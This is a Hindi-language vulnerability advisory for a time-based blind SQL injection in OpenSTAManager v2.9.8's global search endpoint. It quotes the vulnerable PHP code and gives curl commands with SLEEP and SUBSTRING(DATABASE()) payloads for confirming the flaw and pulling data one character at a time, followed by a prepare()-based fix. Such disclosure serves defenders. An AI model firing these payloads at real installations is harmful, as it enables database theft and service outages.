
CVE-2026-24417 - OpenSTAManager में Time-Based Blind SQL Injection और Amplified Denial of Service की भेद्यता मौजूद है।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-24417 |
| गंभीरता | HIGH |
| परामर्श | परामर्श देखें |
| खोजकर्ता | Lukasz Rybak |
OpenSTAManager v2.9.8 में कई खोज मॉड्यूल्स को प्रभावित करने वाली गंभीर टाइम-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता प्रमाणित हमलावरों को 10+ मॉड्यूल्स में एम्प्लीफाइड निष्पादन के साथ टाइम-आधारित बूलियन अनुमान हमलों के माध्यम से पासवर्ड हैश, ग्राहक डेटा और वित्तीय रिकॉर्ड सहित संवेदनशील डेटाबेस सामग्री निकालने की अनुमति देती है।
स्थिति: ✅ लाइव इंस्टेंस (v2.9.8) पर पुष्टि और परीक्षण किया गया
संवेदनशील पैरामीटर: term (GET)
प्रभावित एंडपॉइंट: /ajax_search.php
प्रभावित मॉड्यूल: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 में वैश्विक खोज कार्यक्षमता में एक गंभीर टाइम-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता मौजूद है। एप्लिकेशन कई मॉड्यूल-विशिष्ट खोज हैंडलर्स में SQL LIKE क्लॉज़ में उपयोग करने से पहले term पैरामीटर को ठीक से सैनिटाइज़ करने में विफल रहता है, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और टाइम-आधारित बूलियन अनुमान के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
भेद्यता श्रृंखला:
प्रवेश बिंदु: /ajax_search.php (पंक्ति 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
$term पैरामीटर न्यूनतम सैनिटाइज़ेशन (केवल फ़ॉरवर्ड स्लैश प्रतिस्थापन) से गुजरता है।
वितरण: /src/AJAX.php::search() (पंक्ति 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
बिना सैनिटाइज़ किया गया $term सभी मॉड्यूल-विशिष्ट खोज हैंडलर्स को भेज दिया जाता है।
निष्पादन: /src/AJAX.php::getSearchResults() (पंक्ति 373)
require $file;
प्रत्येक मॉड्यूल की search.php फ़ाइल को दायरे में $term चर के साथ शामिल किया जाता है।
संवेदनशील SQL क्वेरी: कई मॉड्यूल prepare() के बिना सीधे $term को जोड़ते हैं
सभी प्रभावित फ़ाइलें (10+ संवेदनशील इंस्टेंस):
/modules/articoli/ajax/search.php - पंक्ति 51 (प्राथमिक उदाहरण)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
प्रभाव: prepare() के बिना सीधा संयोजन, पूर्ण SQL इंजेक्शन की अनुमति देता है।
/modules/ordini/ajax/search.php - पंक्ति 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - पंक्ति 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - पंक्ति 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - पंक्ति 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - पंक्ति 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - पंक्ति 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
ठीक से सैनिटाइज़ किए गए (संवेदनशील नहीं):
/modules/contratti/ajax/search.php - prepare() का सही उपयोग करता है/modules/automezzi/ajax/search.php - prepare() का सही उपयोग करता हैनोट: भेद्यता में एम्प्लीफाइड निष्पादन है - एक एकल दुर्भावनापूर्ण अनुरोध सभी संवेदनशील मॉड्यूल्स में एक साथ SQL इंजेक्शन ट्रिगर करता है, जिससे टाइम-आधारित हमले प्रति अनुरोध 10+ बार निष्पादित होते हैं, विलंब को कई गुना बढ़ाते हैं और लाइव डेमो इंस्टेंस पर देखे गए 504 Gateway Time-out त्रुटियों का कारण बनते हैं।

चरण 1: लॉगिन
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
चरण 2: भेद्यता सत्यापित करें (टाइम-आधारित SLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

चरण 3: डेटा निष्कर्षण - डेटाबेस नाम
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

प्रभावित उपयोगकर्ता: वैश्विक खोज कार्यक्षमता तक पहुँच रखने वाले सभी प्रमाणित उपयोगकर्ता।
अनुशंसित समाधान:
$term के सीधे संयोजन वाले सभी इंस्टेंस को prepare() से बदलें:
पहले (संवेदनशील):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
बाद में (सही किया गया):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
इस समाधान को सभी प्रभावित फ़ाइलों पर लागू करें:
/modules/articoli/ajax/search.php - पंक्ति 51/modules/ordini/ajax/search.php - पंक्ति 43, 47, 79/modules/ddt/ajax/search.php - पंक्ति 43, 47, 83/modules/fatture/ajax/search.php - पंक्ति 45, 49, 85/modules/preventivi/ajax/search.php - पंक्ति 45, 49, 83/modules/anagrafiche/ajax/search.php - पंक्ति 62, 107, 162/modules/impianti/ajax/search.php - पंक्ति 46इस CVE का जिम्मेदारीपूर्वक खुलासा समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।